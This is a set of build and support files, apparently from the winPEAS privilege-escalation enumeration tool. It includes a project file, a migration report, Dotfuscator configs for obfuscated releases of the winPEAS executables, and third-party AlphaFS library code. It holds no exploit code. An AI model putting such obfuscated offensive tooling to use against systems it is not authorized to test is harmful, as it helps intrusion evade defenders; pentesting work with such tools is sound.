'..\\packages\\EntityFramework.6.4.4\\build\\EntityFramework.targets'))\" />\n    <Error Condition=\"!Exists('..\\packages\\Stub.System.Data.SQLite.Core.NetFramework.1.0.119.0\\build\\net451\\Stub.System.Data.SQLite.Core.NetFramework.targets')\" Text=\"$([System.String]::Format('$(ErrorText)', '..\\packages\\Stub.System.Data.SQLite.Core.NetFramework.1.0.119.0\\build\\net451\\Stub.System.Data.SQLite.Core.NetFramework.targets'))\" />\n    <Error Condition=\"!Exists('..\\packages\\Fody.6.5.5\\build\\Fody.targets')\" Text=\"$([System.String]::Format('$(ErrorText)', '..\\packages\\Fody.6.5.5\\build\\Fody.targets'))\" />\n    <Error Condition=\"!Exists('..\\packages\\Costura.Fody.5.7.0\\build\\Costura.Fody.props')\" Text=\"$([System.String]::Format('$(ErrorText)', '..\\packages\\Costura.Fody.5.7.0\\build\\Costura.Fody.props'))\" />\n    <Error Condition=\"!Exists('..\\packages\\Costura.Fody.5.7.0\\build\\Costura.Fody.targets')\" Text=\"$([System.String]::Format('$(ErrorText)', '..\\packages\\Costura.Fody.5.7.0\\build\\Costura.Fody.targets'))\" />\n  </Target>\n  <Import Project=\"..\\packages\\Microsoft.CodeCoverage.16.10.0\\build\\netstandard1.0\\Microsoft.CodeCoverage.targets\" Condition=\"Exists('..\\packages\\Microsoft.CodeCoverage.16.10.0\\build\\netstandard1.0\\Microsoft.CodeCoverage.targets')\" />\n  <Import Project=\"..\\packages\\Microsoft.NET.Test.Sdk.16.10.0\\build\\net45\\Microsoft.NET.Test.Sdk.targets\" Condition=\"Exists('..\\packages\\Microsoft.NET.Test.Sdk.16.10.0\\build\\net45\\Microsoft.NET.Test.Sdk.targets')\" />\n  <Import Project=\"..\\packages\\MSTest.TestAdapter.2.2.5\\build\\net45\\MSTest.TestAdapter.targets\" Condition=\"Exists('..\\packages\\MSTest.TestAdapter.2.2.5\\build\\net45\\MSTest.TestAdapter.targets')\" />\n  <Import Project=\"..\\packages\\EntityFramework.6.4.4\\build\\EntityFramework.targets\" Condition=\"Exists('..\\packages\\EntityFramework.6.4.4\\build\\EntityFramework.targets')\" />\n  <Import Project=\"..\\packages\\Stub.System.Data.SQLite.Core.NetFramework.1.0.119.0\\build\\net451\\Stub.System.Data.SQLite.Core.NetFramework.targets\" Condition=\"Exists('..\\packages\\Stub.System.Data.SQLite.Core.NetFramework.1.0.119.0\\build\\net451\\Stub.System.Data.SQLite.Core.NetFramework.targets')\" />\n  <Import Project=\"..\\packages\\Fody.6.5.5\\build\\Fody.targets\" Condition=\"Exists('..\\packages\\Fody.6.5.5\\build\\Fody.targets')\" />\n  <Import Project=\"..\\packages\\Costura.Fody.5.7.0\\build\\Costura.Fody.targets\" Condition=\"Exists('..\\packages\\Costura.Fody.5.7.0\\build\\Costura.Fody.targets')\" />\n</Project>\n"
  },
  {
    "path": "winPEAS/winPEASexe/UpgradeLog.htm",
    "content": "﻿<!DOCTYPE html>\n<!-- saved from url=(0014)about:internet -->\n <html xmlns:msxsl=\"urn:schemas-microsoft-com:xslt\"><head><meta content=\"en-us\" http-equiv=\"Content-Language\" /><meta content=\"text/html; charset=utf-16\" http-equiv=\"Content-Type\" /><title _locID=\"ConversionReport0\">\n          Migration Report\n        </title><style> \n                    /* Body style, for the entire document */\n                    body\n                    {\n                        background: #F3F3F4;\n                        color: #1E1E1F;\n                        font-family: \"Segoe UI\", Tahoma, Geneva, Verdana, sans-serif;\n                        padding: 0;\n                        margin: 0;\n                    }\n\n                    /* Header1 style, used for the main title */\n                    h1\n                    {\n                        padding: 10px 0px 10px 10px;\n                        font-size: 21pt;\n                        background-color: #E2E2E2;\n                        border-bottom: 1px #C1C1C2 solid; \n                        color: #201F20;\n                        margin: 0;\n                        font-weight: normal;\n                    }\n\n                    /* Header2 style, used for \"Overview\" and other sections */\n                    h2\n                    {\n                        font-size: 18pt;\n                        font-weight: normal;\n                        padding: 15px 0 5px 0;\n                        margin: 0;\n                    }\n\n                    /* Header3 style, used for sub-sections, such as project name */\n                    h3\n                    {\n                        font-weight: normal;\n                        font-size: 15pt;\n                        margin: 0;\n                        padding: 15px 0 5px 0;\n                        background-color: transparent;\n                    }\n\n                    /* Color all hyperlinks one color */\n                    a\n                    {\n                        color: #1382CE;\n                    }\n\n                    /* Table styles */ \n                    table\n                    {\n                        border-spacing: 0 0;\n                        border-collapse: collapse;\n                        font-size: 10pt;\n                    }\n\n                    table th\n                    {\n                        background: #E7E7E8;\n                        text-align: left;\n                        text-decoration: none;\n                        font-weight: normal;\n                        padding: 3px 6px 3px 6px;\n                    }\n\n                    table td\n                    {\n                        vertical-align: top;\n                        padding: 3px 6px 5px 5px;\n                        margin: 0px;\n                        border: 1px solid #E7E7E8;\n                        background: #F7F7F8;\n                    }\n\n                    /* Local link is a style for hyperlinks that link to file:/// content, there are lots so color them as 'normal' text until the user mouse overs */\n                    .localLink\n                    {\n                        color: #1E1E1F;\n                        background: #EEEEED;\n                        text-decoration: none;\n                    }\n\n                    .localLink:hover\n                    {\n                        color: #1382CE;\n                        background: #FFFF99;\n                        text-decoration: none;\n                    }\n\n                    /* Center text, used in the over views cells that contain message level counts */ \n                    .textCentered\n                    {\n                        text-align: center;\n                    }\n\n                    /* The message cells in message tables should take up all avaliable space */\n                    .messageCell\n                    {\n                        width: 100%;\n                    }\n\n                    /* Padding around the content after the h1 */ \n                    #content \n                    {\n\t                    padding: 0px 12px 12px 12px; \n                    }\n\n                    /* The overview table expands to width, with a max width of 97% */ \n                    #overview table\n                    {\n                        width: auto;\n                        max-width: 75%; \n                    }\n\n                    /* The messages tables are always 97% width */\n                    #messages table\n                    {\n                        width: 97%;\n                    }\n\n                    /* All Icons */\n                    .IconSuccessEncoded, .IconInfoEncoded, .IconWarningEncoded, .IconErrorEncoded\n                    {\n                        min-width:18px;\n                        min-height:18px; \n                        background-repeat:no-repeat;\n                        background-position:center;\n                    }\n\n                    /* Success icon encoded */\n                    .IconSuccessEncoded\n                    {\n                        /* Note: Do not delete the comment below. It is used to verify the correctness of the encoded image resource below before the product is released */\n                        /* [---XsltValidateInternal-Base64EncodedImage:IconSuccess#Begin#background-image: url(data:image/png;base64,#Separator#);#End#] */\n                        background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAACXBIWXMAAA7EAAAOxAGVKw4bAAABcElEQVR4Xq2TsUsCURzHv15g8ZJcBWlyiYYgCIWcb9DFRRwMW5TA2c0/QEFwFkxxUQdxVlBwCYWOi6IhWgQhBLHJUCkhLr/BW8S7gvrAg+N+v8/v+x68Z8MGy+XSCyABQAXgBgHGALoASkIIDWSLeLBetdHryMjd5IxQPWT4rn1c/P7+xxp72Cs9m5SZ0Bq2vPnbPFafK2zDvmNHypdC0BPkLlQhxJsCAhQoZwdZU5mwxh720qGo8MzTxTTKZDPCx2HoVzp6lz0Q9tKhyx0kGs8Ny+TkWRKk8lCROwEduhyg9l/6lunOPSfmH3NUH6uQ0KHLAe7JYvJjevm+DAMGJHToKtigE+vwvIidxLamb8IBY9e+C5LiXREkfho3TSd06HJA13/oh6T51MTsfQbHrsMynQ5dDihFjiK8JJAU9AKIWTp76dCVN7HWHrajmUEGvyF9nkbAE6gLIS7kTUyuf2gscLoJrElZo/Mvj+nPz/kLTmfnEwP3tB0AAAAASUVORK5CYII=);\n                    }\n\n                    /* Information icon encoded */\n                    .IconInfoEncoded\n                    {\n                        /* Note: Do not delete the comment below. It is used to verify the correctness of the encoded image resource below before the product is released */\n                        /* [---XsltValidateInternal-Base64EncodedImage:IconInformation#Begin#background-image: url(data:image/png;base64,#Separator#);#End#] */\n                        background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAABHElEQVR4Xs2TsUoDQRRF7wwoziokjZUKadInhdhukR9YP8DMX1hYW+QvdsXa/QHBbcXC7W0CamWTQnclFutceIQJwwaWNLlwm5k5d94M76mmaeCrrmsLYOocY12FcxZFUeozCqKqqgYA8uevv1H6VuPxcwlfk5N92KHBxfFeCSAxxswlYAW/Xr989x/mv9gkhtyMDhcAxgzRsp7flj8B/HF1RsMXq+NZMkopaHe7lbKxQUEIGbKsYNoGn969060hZBkQex/W8oRQwsQaW2o3Ago2SVcJUzAgY3N0lTCZZm+zPS8HB51gMmS1DEYyOz9acKO1D8JWTlafKIMxdhvlfdyT94Vv5h7P8Ky7nQzACmhvKq3zk3PjW9asz9D/1oigecsioooAAAAASUVORK5CYII=);\n                    }\n\n                    /* Warning icon encoded */\n                    .IconWarningEncoded\n                    {\n                        /* Note: Do not delete the comment below. It is used to verify the correctness of the encoded image resource below before the product is released */\n                        /* [---XsltValidateInternal-Base64EncodedImage:IconWarning#Begin#background-image: url(data:image/png;base64,#Separator#);#End#] */\n                        background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAx0lEQVR4XpWSMQ7CMAxFf4xAyBMLCxMrO8dhaBcuwdCJS3RJBw7SA/QGTCxdWJgiQYWKXJWKIXHIlyw5lqr34tQgEOdcBsCOx5yZK3hCCKdYXneQkh4pEfqzLfu+wVDSyyzFoJjfz9NB+pAF+eizx2Vruts0k15mPgvS6GYvpVtQhB61IB/dk6AF6fS4Ben0uIX5odtFe8Q/eW1KvFeH4e8khT6+gm5B+t3juyDt7n0jpe+CANTd+oTUjN/U3yVaABnSUjFz/gFq44JaVSCXeQAAAABJRU5ErkJggg==);\n                    }\n\n                    /* Error icon encoded */\n                    .IconErrorEncoded\n                    {\n                        /* Note: Do not delete the comment below. It is used to verify the correctness of the encoded image resource below before the product is released */\n                        /* [---XsltValidateInternal-Base64EncodedImage:IconError#Begin#background-image: url(data:image/png;base64,#Separator#);#End#] */\n                        background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAABQElEQVR4XqWTvUoEQRCE6wYPZUA80AfwAQz23uCMjA7MDRQEIzPBVEyNTQUFIw00vcQTTMzuAh/AxEQQT8HF/3G/oGGnEUGuoNnd6qoZuqltyKEsyzVJq5I6rnUp6SjGeGhESikzzlc1eL7opfuVbrqbU1Zw9NCgtQMaZpY0eNnaaL2fHusvTK5vKu7sjSS1Y4y3QUA6K3e3Mau5UFDyMP7tYF9o8cAHZv68vipoIJg971PZIZ5HiwdvYGGvFVFHmGmZ2MxwmQYPXubPl9Up0tfoMQGetXd6mRbvhBw+boZ6WF7Mbv1+GsHRk0fQmPAH1GfmZirbCfDJ61tw3Px8/8pZsPAG4jlVhcPgZ7adwNWBB68lkRQWFiTgFlbnLY3DGGM7izIJIyT/jjIvEJw6fdJTc6krDzh6aMwMP9bvDH4ADSsa9uSWVJkAAAAASUVORK5CYII=);\n                    }\n                 </style><script type=\"text/javascript\" language=\"javascript\"> \n          \n            // Startup \n            // Hook up the the loaded event for the document/window, to linkify the document content\n            var startupFunction = function() { linkifyElement(\"messages\"); };\n            \n            if(window.attachEvent)\n            {\n              window.attachEvent('onload', startupFunction);\n            }\n            else if (window.addEventListener) \n            {\n              window.addEventListener('load', startupFunction, false);\n            }\n            else \n            {\n              document.addEventListener('load', startupFunction, false);\n            } \n            \n            // Toggles the visibility of table rows with the specified name \n            function toggleTableRowsByName(name)\n            {\n               var allRows = document.getElementsByTagName('tr');\n               for (i=0; i < allRows.length; i++)\n               {\n                  var currentName = allRows[i].getAttribute('name');\n                  if(!!currentName && currentName.indexOf(name) == 0)\n                  {\n                      var isVisible = allRows[i].style.display == ''; \n                      isVisible ? allRows[i].style.display = 'none' : allRows[i].style.display = '';\n                  }\n               }\n            }\n            \n            function scrollToFirstVisibleRow(name) \n            {\n               var allRows = document.getElementsByTagName('tr');\n               for (i=0; i < allRows.length; i++)\n               {\n                  var currentName = allRows[i].getAttribute('name');\n                  var isVisible = allRows[i].style.display == ''; \n                  if(!!currentName && currentName.indexOf(name) == 0 && isVisible)\n                  {\n                     allRows[i].scrollIntoView(true); \n                     return true; \n                  }\n               }\n               \n               return false;\n            }\n            \n            // Linkifies the specified text content, replaces candidate links with html links \n            function linkify(text)\n            {\n                 if(!text || 0 === text.length)\n                 {\n                     return text; \n                 }\n\n                 // Find http, https and ftp links and replace them with hyper links \n                 var urlLink = /(http|https|ftp)\\:\\/\\/[a-zA-Z0-9\\-\\.]+(:[a-zA-Z0-9]*)?\\/?([a-zA-Z0-9\\-\\._\\?\\,\\/\\\\\\+&%\\$#\\=~;\\{\\}])*/gi;\n                 \n                 return text.replace(urlLink, '<a href=\"$&\">$&</a>') ;\n            }\n            \n            // Linkifies the specified element by ID\n            function linkifyElement(id)\n            {\n                var element = document.getElementById(id);\n                if(!!element)\n                {\n                  element.innerHTML = linkify(element.innerHTML); \n                }\n            }\n            \n            function ToggleMessageVisibility(projectName)\n            {\n              if(!projectName || 0 === projectName.length)\n              {\n                return; \n              }\n              \n              toggleTableRowsByName(\"MessageRowClass\" + projectName);\n              toggleTableRowsByName('MessageRowHeaderShow' + projectName);\n              toggleTableRowsByName('MessageRowHeaderHide' + projectName); \n            }\n            \n            function ScrollToFirstVisibleMessage(projectName)\n            {\n              if(!projectName || 0 === projectName.length)\n              {\n                return; \n              }\n              \n              // First try the 'Show messages' row\n              if(!scrollToFirstVisibleRow('MessageRowHeaderShow' + projectName))\n              {\n                // Failed to find a visible row for 'Show messages', try an actual message row \n                scrollToFirstVisibleRow('MessageRowClass' + projectName); \n              }\n            }\n           </script></head><body><h1 _locID=\"ConversionReport\">\n          Migration Report - </h1><div id=\"content\"><h2 _locID=\"OverviewTitle\">Overview</h2><div id=\"overview\"><table><tr><th></th><th _locID=\"ProjectTableHeader\">Project</th><th _locID=\"PathTableHeader\">Path</th><th _locID=\"ErrorsTableHeader\">Errors</th><th _locID=\"WarningsTableHeader\">Warnings</th><th _locID=\"MessagesTableHeader\">Messages</th></tr><tr><td class=\"IconErrorEncoded\" /><td><strong><a href=\"#winPEAS\">winPEAS</a></strong></td><td>winPEAS\\winPEAS.csproj</td><td class=\"textCentered\"><a href=\"#winPEASError\">1</a></td><td class=\"textCentered\"><a>0</a></td><td class=\"textCentered\"><a href=\"#\">0</a></td></tr></table></div><h2 _locID=\"SolutionAndProjectsTitle\">Solution and projects</h2><div id=\"messages\"><a name=\"winPEAS\" /><h3>winPEAS</h3><table><tr id=\"winPEASHeaderRow\"><th></th><th class=\"messageCell\" _locID=\"MessageTableHeader\">Message</th></tr><tr name=\"ErrorRowClasswinPEAS\"><td class=\"IconErrorEncoded\"><a name=\"winPEASError\" /></td><td class=\"messageCell\"><strong>winPEAS\\winPEAS.csproj:\n        </strong><span>Error on line 378651072. Expected 'ENCODING' but found 'utf-8'.</span></td></tr></table></div></div></body></html>"
  },
  {
    "path": "winPEAS/winPEASexe/binaries/Obfuscated Releases/Dotfuscated/any/.gitkeep",
    "content": ""
  },
  {
    "path": "winPEAS/winPEASexe/binaries/Obfuscated Releases/Dotfuscated/x64/.gitkeep",
    "content": ""
  },
  {
    "path": "winPEAS/winPEASexe/binaries/Obfuscated Releases/Dotfuscated/x86/.gitkeep",
    "content": ""
  },
  {
    "path": "winPEAS/winPEASexe/binaries/Obfuscated Releases/any.xml",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\" standalone=\"no\"?>\n<!--This config file was generated by Dotfuscator. Please use the Dotfuscator Config Editor to modify.-->\n<!DOCTYPE dotfuscator SYSTEM \"http://www.preemptive.com/dotfuscator/dtd/dotfuscator_v2.5.dtd\">\n<dotfuscator version=\"2.3\">\n  <global>\n    <option>error</option>\n    <option>debugauto</option>\n  </global>\n  <input>\n    <loadpaths />\n    <asmlist>\n      <inputassembly refid=\"da9df55d-8b79-4f7b-8cbc-27517a3d15d5\">\n        <option>honoroas</option>\n        <option>stripoa</option>\n        <option>library</option>\n        <option>transformxaml</option>\n        <file dir=\"winPEAS\\winPEASexe\\binaries\\Release\" name=\"winPEASany.exe\" />\n      </inputassembly>\n    </asmlist>\n  </input>\n  <output>\n    <file dir=\"${configdir}\\Dotfuscated\\any\" />\n  </output>\n  <renaming>\n    <option>xmlserialization</option>\n    <mapping>\n      <mapoutput overwrite=\"false\">\n        <file dir=\"${configdir}\\Dotfuscated\\any\" name=\"Map.xml\" />\n      </mapoutput>\n    </mapping>\n    <referencerulelist>\n      <referencerule rulekey=\"{6655B10A-FD58-462d-8D4F-5B1316DFF0FF}\" />\n      <referencerule rulekey=\"{7D9C8B02-2383-420f-8740-A9760394C2C1}\" />\n      <referencerule rulekey=\"{229FD6F8-5BCC-427b-8F72-A7A413ECDF1A}\" />\n      <referencerule rulekey=\"{2B7E7C8C-A39A-4db8-9DFC-6AFD38509061}\" />\n      <referencerule rulekey=\"{494EA3BA-B947-44B5-BEE8-A11CC85AAF9B}\" />\n      <referencerule rulekey=\"{89769974-93E9-4e71-8D92-BE70E855ACFC}\" />\n      <referencerule rulekey=\"{4D81E604-A545-4631-8B6D-C3735F793F80}\" />\n      <referencerule rulekey=\"{62bd3899-7d53-4336-8ca2-4e5dbae187d5}\" />\n    </referencerulelist>\n  </renaming>\n  <sos />\n  <smartobfuscation>\n    <smartobfuscationreport verbosity=\"all\" overwrite=\"false\" />\n  </smartobfuscation>\n</dotfuscator>"
  },
  {
    "path": "winPEAS/winPEASexe/binaries/Obfuscated Releases/x64.xml",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\" standalone=\"no\"?>\n<!--This config file was generated by Dotfuscator. Please use the Dotfuscator Config Editor to modify.-->\n<!DOCTYPE dotfuscator SYSTEM \"http://www.preemptive.com/dotfuscator/dtd/dotfuscator_v2.5.dtd\">\n<dotfuscator version=\"2.3\">\n  <global>\n    <option>error</option>\n    <option>debugauto</option>\n  </global>\n  <input>\n    <loadpaths />\n    <asmlist>\n      <inputassembly refid=\"da9df55d-8b79-4f7b-8cbc-27517a3d15d5\">\n        <option>honoroas</option>\n        <option>stripoa</option>\n        <option>library</option>\n        <option>transformxaml</option>\n        <file dir=\"winPEAS\\winPEASexe\\binaries\\x64\\Release\" name=\"winPEASx64.exe\" />\n      </inputassembly>\n    </asmlist>\n  </input>\n  <output>\n    <file dir=\"${configdir}\\Dotfuscated\\x64\" />\n  </output>\n  <renaming>\n    <option>xmlserialization</option>\n    <mapping>\n      <mapoutput overwrite=\"false\">\n        <file dir=\"${configdir}\\Dotfuscated\\x64\" name=\"Map.xml\" />\n      </mapoutput>\n    </mapping>\n    <referencerulelist>\n      <referencerule rulekey=\"{6655B10A-FD58-462d-8D4F-5B1316DFF0FF}\" />\n      <referencerule rulekey=\"{7D9C8B02-2383-420f-8740-A9760394C2C1}\" />\n      <referencerule rulekey=\"{229FD6F8-5BCC-427b-8F72-A7A413ECDF1A}\" />\n      <referencerule rulekey=\"{2B7E7C8C-A39A-4db8-9DFC-6AFD38509061}\" />\n      <referencerule rulekey=\"{494EA3BA-B947-44B5-BEE8-A11CC85AAF9B}\" />\n      <referencerule rulekey=\"{89769974-93E9-4e71-8D92-BE70E855ACFC}\" />\n      <referencerule rulekey=\"{4D81E604-A545-4631-8B6D-C3735F793F80}\" />\n      <referencerule rulekey=\"{62bd3899-7d53-4336-8ca2-4e5dbae187d5}\" />\n    </referencerulelist>\n  </renaming>\n  <sos />\n  <smartobfuscation>\n    <smartobfuscationreport verbosity=\"all\" overwrite=\"false\" />\n  </smartobfuscation>\n</dotfuscator>"
  },
  {
    "path": "winPEAS/winPEASexe/binaries/Obfuscated Releases/x86.xml",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\" standalone=\"no\"?>\n<!--This config file was generated by Dotfuscator. Please use the Dotfuscator Config Editor to modify.-->\n<!DOCTYPE dotfuscator SYSTEM \"http://www.preemptive.com/dotfuscator/dtd/dotfuscator_v2.5.dtd\">\n<dotfuscator version=\"2.3\">\n  <global>\n    <option>error</option>\n    <option>debugauto</option>\n  </global>\n  <input>\n    <loadpaths />\n    <asmlist>\n      <inputassembly refid=\"da9df55d-8b79-4f7b-8cbc-27517a3d15d5\">\n        <option>honoroas</option>\n        <option>stripoa</option>\n        <option>library</option>\n        <option>transformxaml</option>\n        <file dir=\"winPEAS\\winPEASexe\\binaries\\x86\\Release\" name=\"winPEASx86.exe\" />\n      </inputassembly>\n    </asmlist>\n  </input>\n  <output>\n    <file dir=\"${configdir}\\Dotfuscated\\x86\" />\n  </output>\n  <renaming>\n    <option>xmlserialization</option>\n    <mapping>\n      <mapoutput overwrite=\"false\">\n        <file dir=\"${configdir}\\Dotfuscated\\x86\" name=\"Map.xml\" />\n      </mapoutput>\n    </mapping>\n    <referencerulelist>\n      <referencerule rulekey=\"{6655B10A-FD58-462d-8D4F-5B1316DFF0FF}\" />\n      <referencerule rulekey=\"{7D9C8B02-2383-420f-8740-A9760394C2C1}\" />\n      <referencerule rulekey=\"{229FD6F8-5BCC-427b-8F72-A7A413ECDF1A}\" />\n      <referencerule rulekey=\"{2B7E7C8C-A39A-4db8-9DFC-6AFD38509061}\" />\n      <referencerule rulekey=\"{494EA3BA-B947-44B5-BEE8-A11CC85AAF9B}\" />\n      <referencerule rulekey=\"{89769974-93E9-4e71-8D92-BE70E855ACFC}\" />\n      <referencerule rulekey=\"{4D81E604-A545-4631-8B6D-C3735F793F80}\" />\n      <referencerule rulekey=\"{62bd3899-7d53-4336-8ca2-4e5dbae187d5}\" />\n    </referencerulelist>\n  </renaming>\n  <sos />\n  <smartobfuscation>\n    <smartobfuscationreport verbosity=\"all\" overwrite=\"false\" />\n  </smartobfuscation>\n</dotfuscator>"
  },
  {
    "path": "winPEAS/winPEASexe/binaries/Release/.gitkeep",
    "content": ""
  },
  {
    "path": "winPEAS/winPEASexe/binaries/x64/Release/.gitkeep",
    "content": ""
  },
  {
    "path": "winPEAS/winPEASexe/binaries/x86/Release/.gitkeep",
    "content": ""
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/.vs/winPEAS.csproj.dtbcache.json",
    "content": "{\"RootPath\":\"C:\\\\Users\\\\carlos_hacktricks\\\\Desktop\\\\git\\\\PEASS-ng\\\\winPEAS\\\\winPEASexe\\\\winPEAS\",\"ProjectFileName\":\"winPEAS.csproj\",\"Configuration\":\"Debug|AnyCPU\",\"FrameworkPath\":\"\",\"Sources\":[],\"References\":[],\"Analyzers\":[],\"Outputs\":[{\"OutputItemFullPath\":\"C:\\\\Users\\\\carlos_hacktricks\\\\Desktop\\\\git\\\\PEASS-ng\\\\winPEAS\\\\winPEASexe\\\\winPEAS\\\\bin\\\\Debug\\\\winPEAS.exe\",\"OutputItemRelativePath\":\"winPEAS.exe\"},{\"OutputItemFullPath\":\"\",\"OutputItemRelativePath\":\"\"}],\"CopyToOutputEntries\":[]}"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/ChangeErrorMode.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>Controls whether the system will handle the specified types of serious errors or whether the process will handle them.</summary>\n      /// <remarks>Minimum supported client: Windows 2000 Professional</remarks>\n      /// <remarks>Minimum supported server: Windows 2000 Server</remarks>      \n      public sealed class ChangeErrorMode : IDisposable\n      {\n         private readonly ErrorMode _oldMode;\n\n         /// <summary>ChangeErrorMode is for the Win32 SetThreadErrorMode() method, used to suppress possible pop-ups.</summary>\n         /// <param name=\"mode\">One of the <see cref=\"ErrorMode\"/> values.</param>\n         public ChangeErrorMode(ErrorMode mode)\n         {\n            if (IsAtLeastWindows7)\n               SetThreadErrorMode(mode, out _oldMode);\n            else\n               _oldMode = SetErrorMode(mode);\n         }\n\n         void IDisposable.Dispose()\n         {\n            ErrorMode oldMode;\n\n            if (IsAtLeastWindows7)\n               SetThreadErrorMode(_oldMode, out oldMode);\n            else\n               SetErrorMode(_oldMode);\n         }\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Device.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing Microsoft.Win32.SafeHandles;\nusing System;\nusing System.Collections.Generic;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Globalization;\nusing System.IO;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing System.Security.AccessControl;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>Provides static methods to retrieve device resource information from a local or remote host.</summary>\n   public static class Device\n   {\n      #region Enumerate Devices\n\n      /// <summary>[AlphaFS] Enumerates all available devices on the local host.</summary>\n      /// <returns><see cref=\"IEnumerable{DeviceInfo}\"/> instances of type <see cref=\"DeviceGuid\"/> from the local host.</returns>\n      /// <param name=\"deviceGuid\">One of the <see cref=\"DeviceGuid\"/> devices.</param>\n      //[SecurityCritical]\n      //public static IEnumerable<DeviceInfo> EnumerateDevices(DeviceGuid deviceGuid)\n      //{\n      //   return EnumerateDevicesCore(null, deviceGuid, true);\n      //}\n\n\n      ///// <summary>[AlphaFS] Enumerates all available devices of type <see cref=\"DeviceGuid\"/> on the local or remote host.</summary>\n      ///// <returns><see cref=\"IEnumerable{DeviceInfo}\"/> instances of type <see cref=\"DeviceGuid\"/> for the specified <paramref name=\"hostName\"/>.</returns>\n      ///// <param name=\"hostName\">The name of the local or remote host on which the device resides. <c>null</c> refers to the local host.</param>\n      ///// <param name=\"deviceGuid\">One of the <see cref=\"DeviceGuid\"/> devices.</param>\n      //[SecurityCritical]\n      //public static IEnumerable<DeviceInfo> EnumerateDevices(string hostName, DeviceGuid deviceGuid)\n      //{\n      //   return EnumerateDevicesCore(hostName, deviceGuid, true);\n      //}\n\n\n\n\n      /// <summary>[AlphaFS] Enumerates all available devices on the local or remote host.</summary>\n      //[SecurityCritical]\n      //internal static IEnumerable<DeviceInfo> EnumerateDevicesCore(string hostName, DeviceGuid deviceGuid, bool getAllProperties)\n      //{\n      //   if (Utils.IsNullOrWhiteSpace(hostName))\n      //      hostName = Environment.MachineName;\n\n\n      //   // CM_Connect_Machine()\n      //   // MSDN Note: Beginning in Windows 8 and Windows Server 2012 functionality to access remote machines has been removed.\n      //   // You cannot access remote machines when running on these versions of Windows. \n      //   // http://msdn.microsoft.com/en-us/library/windows/hardware/ff537948%28v=vs.85%29.aspx\n\n\n      //   SafeCmConnectMachineHandle safeMachineHandle;\n\n      //   var lastError = NativeMethods.CM_Connect_Machine(Host.GetUncName(hostName), out safeMachineHandle);\n\n      //   NativeMethods.IsValidHandle(safeMachineHandle, lastError);\n\n\n      //   var classGuid = new Guid(Utils.GetEnumDescription(deviceGuid));\n\n\n      //   // Start at the \"Root\" of the device tree of the specified machine.\n\n      //   using (safeMachineHandle)\n      //   using (var safeHandle = NativeMethods.SetupDiGetClassDevsEx(ref classGuid, IntPtr.Zero, IntPtr.Zero, NativeMethods.SetupDiGetClassDevsExFlags.Present | NativeMethods.SetupDiGetClassDevsExFlags.DeviceInterface, IntPtr.Zero, hostName, IntPtr.Zero))\n      //   {\n      //      NativeMethods.IsValidHandle(safeHandle, Marshal.GetLastWin32Error());\n\n      //      uint memberInterfaceIndex = 0;\n      //      var interfaceStructSize = (uint)Marshal.SizeOf(typeof(NativeMethods.SP_DEVICE_INTERFACE_DATA));\n      //      var dataStructSize = (uint)Marshal.SizeOf(typeof(NativeMethods.SP_DEVINFO_DATA));\n\n\n      //      // 